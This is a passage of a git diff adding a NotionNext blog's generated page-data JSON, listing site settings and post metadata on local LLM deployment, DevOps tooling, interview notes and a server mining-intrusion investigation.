","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example.json new file mode 100644 index 000000000..0b29e849b --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"d3216be6-1b27-40e7-8677-7404896b7eb6":{"value":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","version":31,"type":"page","content":["6c2aad49-6a12-4775-914f-7ed36358eb32","9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","c2d6e2c5-296b-475c-b2d8-7723d212a732","f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","9369db5e-52eb-4c76-8f20-ee3937c65109","f190aaaf-4ada-493b-bb58-bac82327317e","41e02cef-9892-468d-a759-e74c41dfcd70","3ac4ec2f-1b75-41a4-8048-ee14e5549d21","266dce1b-2303-4514-aa52-2c946c8d8fba","3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","3afc4b4f-2afa-4732-b15c-70cb97502fba","58a2fe87-4e0c-40aa-baed-b99e677f4891","abc36c13-25fc-4b0d-bda9-6b45a9d992bc","0d862f5f-f617-4972-a07f-c90da2679c24","2feae355-4a74-4b81-a318-b1cdaf3345b1","a625f064-b0f6-4744-b6b9-e40aaf12ffa9","d1de48bb-00c6-40ac-81df-d6fb0b784f36","62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","b87bd083-9175-48c6-ad